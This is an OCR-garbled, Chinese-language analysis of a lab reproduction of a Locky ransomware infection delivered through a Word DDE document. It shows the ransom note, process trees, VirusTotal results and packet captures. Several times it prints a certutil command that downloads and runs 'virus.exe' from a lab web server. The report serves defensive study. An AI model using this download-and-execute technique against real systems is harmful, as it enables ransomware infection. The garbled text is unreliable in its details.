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BERERAE) >>

Microsoft Word F 3]
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m IMPORTANT INFORMATION !111

Vi',‘r\',’,/s;ej’.‘e All of your files are encrypted with RSA-2048 and AES-128 ciphers.
- More information about the RSA and AES can be found here:
http://en.wikipedia.org/wiki/RSA_(cryptosystem)

http://en.wikipedia.org/wiki/Advanced_Encryption_Standard

Decrypting of your files is only possible with the private key and decrypt program, which is on our secret server.

To receive your private key follow one of the links:

If all of this addresses are not available, follow these steps:

1. Download and install Tor Browser: https://www.torproject.org/download/download-easy.html

2. After a successful installation, run the browser and wait for initialization.
3. Type in the address bar: g46mbrrzpfszonuk.onion/7JMR8YXXAOIUD4UN
4. Follow the instructions on the site.

1 Your personal identification ID: 7ZJMR8YXXAOIUD4UN !!!

o

™

=R

5.5$y@dhmﬁg’%mm*% PR F Ao R R £ GOT R 5
EHhEXT —‘,i]z— i i A 3% ID: TJMR8YXXAOIUDAUN 3= % "F%" fiﬂ? # Tor

74 1 g4bmbrrzpfszonuk. onion/

s

TJMR8YXXAOIUDAUN *r ¥ 4 %

|’ [ ykeolhtm

Cc

;
II =1 B, o
LA

@ file:///C:/Users/DDE/Desktop/ykcol.htm

Il IMPORTANT INFORMATION !!!!

All of your files are encrypted with RSA-2048 and AES-128 ciphers

More information about the RSA and AES can be found here:
http.//en wikipedia.org/wiki/RSA_(cryptosystem)

http-/fen wikipedia ora/wiki/Advanced_Encryption_Standard

Decrypting of your files is only possible with the private key and decrypt program, which is on our secret server.
To receive your private key follow one of the links:

If all of this addresses are not available, follow these steps:
1. Download and install Tor Browser: hitps./www.torproject org/download/downlead-easy. html
2 After a successful installation, run the browser and wait for initialization
3 Type inthe address bar g46mbrrzpfszonuk onion/7JMREYXXAOIUD4AUN
4. Follow the instructions on the site.

1l Your personal identification |ID: 7JMRSYXXAQIUDAUN 11
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| 7IMR8YXX-A0IU-D4UN-2C63DD08-817D970313CC.ykeol
|| 7IMR8YXX-A0IU-D4UN-7A8405C9-66D647E6ALFS.ykeol
|| 7JMR8YXX-A0IU-D4UN-8ED27088-A39DBDE4EE1D.ykeol
|| 7JIMR8YXX-A0IU-D4UN-51EF8962-94DE6FD755C0.ykeol
|| 7JIMR8YXX-A0IU-D4UN-826DB081-51D1298E4A18 ykeol
|| 7JIMR8YXX-A0IU-D4UN-882F7297-E21D1F5256B7.ykcol
|| 7JMR8YXX-AOIU-D4UN-B218FD48-EF22BEE1029E ykeol
| 7IMR8YXX-A0IU-D4UN-F4B4FAC3-F432DEDD7831.ykeol
€ ykcol-4fed htm

8. #HAF B AN

certutil. exe ~

e % 3 B £ Word]. docx #% % 6 > k24 = =7 cmd. exe >

virus. exe ~ chrome. exe £ cmd. exe & 42.;% o

INWORD.EXE (3200)

"C:\Program Files\Microsoft Office\Office15\WINWORD.EXE" /n "C:\Users\DDE\Desktop\Word1.docx" /o "u"

=% cmd.exe (2980) (1)
Ficertutilexe (1904)( 2)
irus.exe (3844) (3)
¢ chrome.exe (2612)(4)
&% cmd.exe (3252)(5)

C:\windows\system32\cmd.exe /K certutil -urlcache -split -f hitp://192.168.195.135/virus.exe && virus.exe
certutil -urlcache -split -f http://192.168.195.135/virus.exe

virus.exe

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" -- "C:\Users\DDE\Desktop\ykcol.htm"

cmd.exe /Cdel /Q /F "C:\Users\DDE\AppData\Local\Temp\sys2D&9.tmp"

(1)% cmd. exe # 7

s » g w¥e certutil. exe °

Command:

Description: Windows T3 ERIE{E Ty
Company: Microsoft Corporation
Path: C:Ywindows\system32Ycmd. exe

C:windows\system32Yomd. exe /K certutil -urlcache -split -f hitp: /192, 168, 195, 135/virus.exe && virus.exe

(2)% certutil.exe #4718 » ¢ @ 3 b7 FH L A5 virus. exe

Description: CertUtil.exe

Company: Microsoft Corporation

Path: Co\Windows\system32Ycertuti. exe

Command: certutl -urlcache -split -f http: ({192, 168, 195, 135/virus.exe

(3)% 3 7 virus. exe 4 >

T AP R B A B o

= 3

Description:

Company:

Path: C:\Users\DDE\Desktoplvirus. exe

Command:  virus.exe

(4)% Chrome.exe 117/ » A7 e RS XTI WR I RITE > £F 4§

® fx ykcol.htm k& 7% %

(SR EN

H % © At R oA T % % Tor 1T E A

Description: Google Chrome
Company: Google Inc.
Path:

Command:

C:\Program Files {(x86)\Google\Chrome\Applicationchrome. exe
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe™ — "C:\Users\DDE\Desktopykecol. htm™
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pe Ao &2l temp FAL AN S tmp AT

Description: Windows fi-5 BEIRTE T

Company:  Microsoft Corporation

Path: C:\Windows\SysWOWE4\cmd. exe

Command: cmd.exe [C del /Q jF "C:\Users\DDE\AppDataLocaliTempsys 2DE63. tmp™

9. % Virustotal % =:4 8] Wordl.docx» @& % 19/60> 7 L H 2 % & 4 =
SHchl A iRl ko @ 2 G 5 R A g F 22w 5 DDE o

Downloader(™ §* &) -

P total

SHA256 T3a0cc2d1d78ada54bfaaff34855476e588eb2d3badfo59471e1643f9793b1e $
EELF Word! docx -
&l 19760 .r 0 O

SHrEEE 2017-11-29 06:56:07 UTC { 0 4% &7 )

BhsE BR B

Ad-Aware Trojan.Downloader DDE Gen.1 20171129
Arcabit Trojan.Downloader. DDE Gen.1 20171129
Avira (no cloud) HEUR/Downloader DDE 20171128
Baidu MSWord. Trojan.Agent.h 20171129
BitDefender Trojan.Downloader DDE Gen.1 20171129
ClamAV Win.Downloader.CertutilURLCache-6335697-0 20171129
Emsisoft Trojan.Downloader. DDE Gen.1 (B) 20171129
ESET-NOD32 VBA/DDE A 20171129
F-Secure Trojan.Downloader. DDE Gen.1 20171129
GData Trojan.Downloader.DDE Gen.1 20171129

10. #-virus. exe i#¥ 2 Virustotal fezb4:p] > MBI F 5 61/65 > 7 L H B R v

ZEEE R A I Eo R ¥ P E S O VRS s A

] total

SHA256:  24b29b6c856124b4385bBasfedadableblaebfB8b29090348a928d8baesc Tec2
EELE  viusexe :

A 61/8

®
-ﬂ
(&)
o

SHrEHE: 2017-11-23 09:53:39 UTC (1 433E & )
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Symantec
Tencent
TheHacker

TrendMicro

SUPERANtiSpyware

TrendMicro-HouseCall

Ransom.LockyMNariant 20171129
Ransom Locky B 20171129
Suspicious. Heuristic. Gen.b.0 20171129
Trojan/Kryptik_fwst 20171126
Ransom_LOCKY.TH918 20171129
Ransom_LOCKY.TH918 20171129

11. #-ykeol.

(https://id-ransomware. malwarehunterteam. com) °

htm $14 e B ehfi %k b @ 3 9 % 53 55wl ek

¥ Pl % % 5 Locky #

?ffﬁsi ) B’T’atbf—%l RRfhxa™ N R BRI TR B A
P e R e A

© This ransomware has no known way of decrypting
data at this time.

It is recommended to backup your encrypted files, and
hope for a solution in the future.
Identified by

* ransomnote_filename: ykcol.htm
* sample_extension: .ykcol

Click here for more information about Locky

12, e P FHARBREINEDAANNF1 € $PR INpie 139 port £ 445
port ety » T EREHN A FEBOE L TR AEFHR 0 FF RBERRE
Fih e NAS Je 7 A ATRET ot Rl X IR
Time Service Size Events Displaying 1 - 4 of 4
2017-Nov-2913:36:12 IP / TCP / SMB 3.33 KB s 192.168.195.134 -> 192.168.195.129 @) 49546 —> 139 (netbios-ssn)
2017-Nov-29 13:44:56 IP [ TCP / SMB 3.32 KB » 192.168.195.134 -> 192.168.195.129 i@ 49551 —> 139 (netbios-ssn)
2017-Nov-29 13:48:18 IP / TCP / SME 3.33 KB # 192.168.195.134 -> 192.168.195.129 @ 49556 -> 139 (netbios-ssn)
2017-Nov-29 14:00:23 IP / TCP / SMB 3.33 KB s 192.168.195.134 -> 192.168.195.129 @ 49568 -> 139 (netbios-ssn)
Time Service Size Events Displaying 1 - 25 of 25
2017-Nov-29 13:36:08 IP / TCP / SMB 2.41 KB A 192.168.195.134 -> 192.168.195.129 @ 49545 —> 445 (cifs)
2017-Nov-29 13:44:57 IP [ TCP | SME 2.37 KB M 192.168.195.134 —> 192.168.195.135 @ 49552 —= 445 (cifs)
2017-Nov-29 13:44:57 IP [ TCP / SME 1.94 KB A 192.168.195.134 —> 192.168.195.135 (@ 49553 —= 445 (cifs)
2017-Nov-29 13:44:57 IP [ TCP | SME 1.94 KB A 192.168.195.134 —> 192.168.195.135 (@ 49554 —= 445 (cifs)
2017-Nov-29 13:32:59 IP / TCP / SMB 8.00 MB A 192.168.195.134 —> 192.168.195.129 @ 49540 —> 445 (cifs)
2017-Nov-28 13:44:59 IP / TCP / SME 8.00 MEB A 192.168.195.134 —> 192.168.195.129 @ 49540 —> 445 (cifs)
2017-Nov-29 13:44:59 IP / TCP / SME 8.00 MB A 192.168.195.134 —> 192.168.195.129 @ 49540 —> 445 (cifs)
2017-Nov-29 13:44:59 IP / TCP / SMB 8.00 MB M 192.168.195.134 —> 192.168.195.129  (gh 49540 —> 445 (cifs)
2017-Nov-29 13:45:00 IP / TCP / SMB 8.00 MB M 192.168.195.134 —> 192.168.195.129  (gh 49540 —> 445 (cifs)
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13. #r4te p %

P IRK T A A PR  virus. exe (R

RSA Security Analytics Reconstruction for session ID: 2 ( Source 192.168.195.134 - 49548, Target 192.1
Packer Size 490,198 bytes

Time 11,/29/2017 1

3:43:55to 11/29/2017 13:43:55

Payload Size 483,750 bytes

Pragma: no-cache
hocept: ¥/¥

Host:

GET /virus.exe HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive

Tser-bgent: Microsoft-CryptodPI/6.1
192.16%.195.135

HTTF/1.1 200 OF

Content-Type: applicationfoctet-strean
Last-Modified: Tue, 19 Sep 2017 04:33:44 GHT
hocept-Ranges: bytes

ETag: "04f979031431:0"

Server: Microsoft-115/7.5

Date: Wed, 29 Nov 2017 05:43:35 GNT
Content-Length: 660480

HZ @ BE f5@!7%:€!This progran cannot be run in DOS mode.
$PELOTHAY' 2@

_o

E (FE .textVE] " .rdata @I @6EFEL . data =089 .rs1cP @
HIKLNOABDEGH JEMN@ACDFG I JLMO@BCEFH IELNOAEDEGH JEMN@ACDEG [ JLMO@BCEFH IKLNOABDEGH JEMNG
ACDFGIJLMOGBCEFH IELNOABDEGH JEMN@ACDFG [ JLMOGECEFH [ELNOABDEGH JEMN@ACDFG I JLMO@BCEFH I
KLWOABDEGH JEMN@ACDFG [JLMO@BCEFH IKLNOABDEGH JEMN@ACDFG [ JLMO@BCEFH IELNOABDEGH JEMN@AC
DEGTILMOGECEFH [ELNOABDEGH JEMR@ACDFG I JLMOGBCEFH IELNOABDEGH JENN@ACDFG I JLMOGECEFH IEL
NOABDEGH JEMN@ACDFG I JLMO@BCEFH IKLNOABDEGH JEMN@ACDFG [ JLMO@BCEFH IKLNOABDEGH JEMN@ACDF
GIJLMOGBCEFH IELWOABDEGH JEMN@ACDEG I JLMOGECEFH [ELNOABDEGH JEMR@ACDFG I JLMOGBCEFH IELKO
ABDEGH JEMN@ACDFG [ JLMO@BCEFH IKLNOABDEGH JEMN@ACDFG [ JLMO@BCEFH IELNOABDEGH JEMN@ACDEG I
JLMO@BCEFH IELNOABDEGH TEMN@ACDFG I JILMOGBCEFH IELNOABDEGH JENN@ACDFG I ILHOGBCEFH IELNOAR
DEGH JEMN@ACDFG I JLMOGBCEFH IELNOABDEGH JEMN@ACDRG [ TLMO@BCEFH IKLNOABDEGH JEMN@ACDFGIJL
WO@BCEFH IKLNOABDEGH JEMN@ACDFG I ILMO@BCEFH IELNOABDEGH JENN@ACDFG I JLMO@BCEFH [ELNOABDE
GHIEMW@ACDFG I ILMO@BCEFH IKLNOABDEGH JEMN@ACDFG [ TLMO@BCEFH IELNOABDEGH JEMN@ACDFG [ JLMOD
@BCEFH IELNOABDEGH JEMN@ACDFG I JLMOGECEFH [ELNOABDEGH JEMN@ACDFG [ JLMO@BCEFH IELNOABDEGH
JEMN@ACDFG [JLMO@BCEFH IKLEOOY
DSDSHATTIRIE P @-18 @ €6 |

PR

@ o

n@ARDEGH JEMN@ACDEG I JLMO@BCEF

14. #%Aite p %
£

2

Vs

CE R E R AT R RS T N AR e % A

g

Frame 336: 270 bytes on wire (216e bits), 27e bytes captured (216 bits)

Ethernet II, Src: Vmware_55:3a:87 (@@:0c:29:55:3a:87), Dst: Vmware_@5:fb:dc (@@:@0c:29:05:ftb:dc)

Internet Protocol Version 4, [Src: 192.168.195.134, Dst: 192.168.195.129|

Transmission Control Protocol, Src Port: 49548, Dst Port: 445, Seq: 226384,

NetBIOS Session Service
~ SMB2 (Server Message Block Protocol version 2)
SMB2 Header
~ SetInfo Request (@x11)
Structuresize: exee21
Class: FILE_INFO (@x@1)
Infolevel: SMB2 FILE RENAME INFO (@x@a)
Setinfo size: 116
Setinfo offset: exeece
Unknown: @eeeeeeeeeeee
v GUID handle File: Excell.xlsx
File 1d: eeeeelas-0010-0e00-3dee-2eeefffH{ff
Frame handle opened: 312]
Frame handle closed: 340]
v SMB2_FILE RENAME_INFO
0000 @801 = Replace If: Replace the target if it exists
Reserved (Random): 00000000020000
Root Dir Handle (MBZ): [alslelolelslelolelaleTalelalee)
Filename Length: 92
Filename: 7JMR8YXX—AGIU—DAUN—SEDZ?GSS—ABQDBDEAEElD.ykcol

Ack: 27972, Len:

216
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WEB Server DDE-PC AMY-PC
192.168.195.135 192.168.195.134 129.168.195.129
MR H B A 4 PR R R A RERHEERNS
n 8
WebDoc File D@”c“* FileDoc
(A\N\AMY-PC)(Z:) o
ShareDHc;c
1. 4 5 % 1 )
§§?
=il
WEB Server Virus.exe
STEP 3
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3
STEP 1 S ST
(&DDE Word#g) , s >
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41 4053440 % > 38 (Security Advisory) ¥ Office b % & { #7
ADVIT0021 » r2fe% i * ‘ﬁ 73 DDE sc# o ket § o

(D% >3 3% 4053440

LR Ko X 2y 4

s

¢ 7 jfcdp 2 (DDE) F f e Microsoft
Office < #% > i€ 18 GUI & 78 & Windows #&f % Bz * DDE L Fen jE o

https://technet. microsoft. com/en-us/library/security/4053440

(2)0ffice I & & { #7 ADV170021

11


https://technet.microsoft.com/en-us/library/security/4053440
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1. Locky Ransomware Spam Infects via Microsoft Office

https://www. bankinfosecurity. com/locky-ransomware-spam-infects-via-mi
crosoft-office-a-10392
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Microsoft Office
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2. Locky Ransomware Attacks Exploit Microsoft DDE to Increase

Effectiveness

https://securityintelligence. com/news/locky-ransomware-attacks-exploi
t-microsoft-dde-to-increase-effectiveness/
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Locky Ransomware Attacks Exploit
Microsoft DDE to Increase Effectiveness

By Shane Schick
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4. Microsoft Disables DDE Feature in Word to Prevent Further

Malware Attacks
https://www. bleepingcomputer. com/news/microsoft/microsoft-disables

-dde-feature-in-word-to-prevent-further-malware-attacks/
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Microsoft Disables DDE Feature in Word to Prevent Further
Malware Attacks

By Catalin Cimpanu December 15, 20 01:00 AM 2
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